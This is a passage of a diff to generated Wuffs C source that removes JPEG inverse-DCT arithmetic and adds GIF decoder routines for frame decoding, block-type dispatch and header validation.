wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -- v_intermediate[57u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -- v_intermediate[9u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -- v_intermediate[49u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -- v_intermediate[17u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -- v_intermediate[41u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -- v_intermediate[25u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -- v_intermediate[33u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ return status; -+} -+ -+// -------- func gif.decoder.reset_gc -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_gif__decoder__reset_gc( -+ wuffs_gif__decoder* self) { -+ self->private_impl.f_gc_has_transparent_index = false; -+ self->private_impl.f_gc_transparent_index = 0u; -+ self->private_impl.f_gc_disposal = 0u; -+ self->private_impl.f_gc_duration = 0u; -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func gif.decoder.decode_up_to_id_part1 -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_up_to_id_part1( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_block_type = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } -- if (0u == (self->private_data.f_mcu_blocks[0u][10u] | -- self->private_data.f_mcu_blocks[0u][18u] | -- self->private_data.f_mcu_blocks[0u][26u] | -- self->private_data.f_mcu_blocks[0u][34u] | -- self->private_data.f_mcu_blocks[0u][42u] | -- self->private_data.f_mcu_blocks[0u][50u] | -- self->private_data.f_mcu_blocks[0u][58u])) { -- v_intermediate[2u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))) << 2u)); -- v_intermediate[10u] = v_intermediate[2u]; -- v_intermediate[18u] = v_intermediate[2u]; -- v_intermediate[26u] = v_intermediate[2u]; -- v_intermediate[34u] = v_intermediate[2u]; -- v_intermediate[42u] = v_intermediate[2u]; -- v_intermediate[50u] = v_intermediate[2u]; -- v_intermediate[58u] = v_intermediate[2u]; -- } else { -- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][18u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][18u])))); -- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][50u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][50u])))); -- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))); -- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][34u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][34u])))); -- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][10u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][10u])))); -- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][26u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][26u])))); -- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][42u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][42u])))); -- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][58u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][58u])))); -- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -- v_ci51 *= 4294964100u; -- v_ci53 *= 4294946301u; -- v_ci71 *= 4294959923u; -- v_ci73 *= 4294951227u; -- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -- v_intermediate[2u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -- v_intermediate[58u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -- v_intermediate[10u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -- v_intermediate[50u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -- v_intermediate[18u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -- v_intermediate[42u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -- v_intermediate[26u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -- v_intermediate[34u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_up_to_id_part1; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if ((self->private_impl.f_frame_config_io_position == 0u) || (self->private_impl.f_num_decoded_frame_configs_value > 0u)) { -+ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -+ } -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_block_type = t_0; -+ } -+ if (v_block_type == 33u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ status = wuffs_gif__decoder__decode_extension(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else if (v_block_type == 44u) { -+ if (self->private_impl.f_delayed_num_decoded_frames) { -+ self->private_impl.f_delayed_num_decoded_frames = false; -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_gif__decoder__decode_id_part0(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ break; -+ } else { -+ if (self->private_impl.f_delayed_num_decoded_frames) { -+ self->private_impl.f_delayed_num_decoded_frames = false; -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); -+ } -+ self->private_impl.f_call_sequence = 96u; -+ break; -+ } -+ } -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_up_to_id_part1 = 0; -+ goto exit; - } -- if (0u == (self->private_data.f_mcu_blocks[0u][11u] | -- self->private_data.f_mcu_blocks[0u][19u] | -- self->private_data.f_mcu_blocks[0u][27u] | -- self->private_data.f_mcu_blocks[0u][35u] | -- self->private_data.f_mcu_blocks[0u][43u] | -- self->private_data.f_mcu_blocks[0u][51u] | -- self->private_data.f_mcu_blocks[0u][59u])) { -- v_intermediate[3u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))) << 2u)); -- v_intermediate[11u] = v_intermediate[3u]; -- v_intermediate[19u] = v_intermediate[3u]; -- v_intermediate[27u] = v_intermediate[3u]; -- v_intermediate[35u] = v_intermediate[3u]; -- v_intermediate[43u] = v_intermediate[3u]; -- v_intermediate[51u] = v_intermediate[3u]; -- v_intermediate[59u] = v_intermediate[3u]; -- } else { -- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][19u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][19u])))); -- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][51u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][51u])))); -- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))); -- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][35u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][35u])))); -- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][11u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][11u])))); -- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][27u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][27u])))); -- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][43u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][43u])))); -- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][59u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][59u])))); -- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -- v_ci51 *= 4294964100u; -- v_ci53 *= 4294946301u; -- v_ci71 *= 4294959923u; -- v_ci73 *= 4294951227u; -- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -- v_intermediate[3u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -- v_intermediate[59u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -- v_intermediate[11u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -- v_intermediate[51u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -- v_intermediate[19u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -- v_intermediate[43u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -- v_intermediate[27u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -- v_intermediate[35u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_up_to_id_part1 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- if (0u == (self->private_data.f_mcu_blocks[0u][12u] | -- self->private_data.f_mcu_blocks[0u][20u] | -- self->private_data.f_mcu_blocks[0u][28u] | -- self->private_data.f_mcu_blocks[0u][36u] | -- self->private_data.f_mcu_blocks[0u][44u] | -- self->private_data.f_mcu_blocks[0u][52u] | -- self->private_data.f_mcu_blocks[0u][60u])) { -- v_intermediate[4u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))) << 2u)); -- v_intermediate[12u] = v_intermediate[4u]; -- v_intermediate[20u] = v_intermediate[4u]; -- v_intermediate[28u] = v_intermediate[4u]; -- v_intermediate[36u] = v_intermediate[4u]; -- v_intermediate[44u] = v_intermediate[4u]; -- v_intermediate[52u] = v_intermediate[4u]; -- v_intermediate[60u] = v_intermediate[4u]; -- } else { -- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][20u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][20u])))); -- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][52u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][52u])))); -- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))); -- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][36u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][36u])))); -- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][12u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][12u])))); -- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][28u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][28u])))); -- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][44u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][44u])))); -- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][60u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][60u])))); -- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -- v_ci51 *= 4294964100u; -- v_ci53 *= 4294946301u; -- v_ci71 *= 4294959923u; -- v_ci73 *= 4294951227u; -- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -- v_intermediate[4u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -- v_intermediate[60u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -- v_intermediate[12u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -- v_intermediate[52u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -- v_intermediate[20u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -- v_intermediate[44u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -- v_intermediate[28u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -- v_intermediate[36u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); -+ -+ return status; -+} -+ -+// -------- func gif.decoder.decode_header -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_header( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint64_t v_c48 = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } -- if (0u == (self->private_data.f_mcu_blocks[0u][13u] | -- self->private_data.f_mcu_blocks[0u][21u] | -- self->private_data.f_mcu_blocks[0u][29u] | -- self->private_data.f_mcu_blocks[0u][37u] | -- self->private_data.f_mcu_blocks[0u][45u] | -- self->private_data.f_mcu_blocks[0u][53u] | -- self->private_data.f_mcu_blocks[0u][61u])) { -- v_intermediate[5u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))) << 2u)); -- v_intermediate[13u] = v_intermediate[5u]; -- v_intermediate[21u] = v_intermediate[5u]; -- v_intermediate[29u] = v_intermediate[5u]; -- v_intermediate[37u] = v_intermediate[5u]; -- v_intermediate[45u] = v_intermediate[5u]; -- v_intermediate[53u] = v_intermediate[5u]; -- v_intermediate[61u] = v_intermediate[5u]; -- } else { -- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][21u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][21u])))); -- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][53u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][53u])))); -- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))); -- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][37u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][37u])))); -- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][13u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][13u])))); -- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][29u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][29u])))); -- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][45u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][45u])))); -- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][61u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][61u])))); -- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -- v_ci51 *= 4294964100u; -- v_ci53 *= 4294946301u; -- v_ci71 *= 4294959923u; -- v_ci73 *= 4294951227u; -- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -- v_intermediate[5u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -- v_intermediate[61u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -- v_intermediate[13u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -- v_intermediate[53u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -- v_intermediate[21u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -- v_intermediate[45u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -- v_intermediate[29u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -- v_intermediate[37u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_header; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint64_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { -+ t_0 = ((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))); -+ iop_a_src += 6; -+ } else { -+ self->private_data.s_decode_header.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_header.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 40) { -+ t_0 = ((uint64_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ } -+ } -+ v_c48 = t_0; -+ } -+ if ((v_c48 != 106889795225927u) && (v_c48 != 106898385160519u)) { -+ status = wuffs_base__make_status(wuffs_gif__error__bad_header); -+ goto exit; -+ } -+ -+ goto ok; 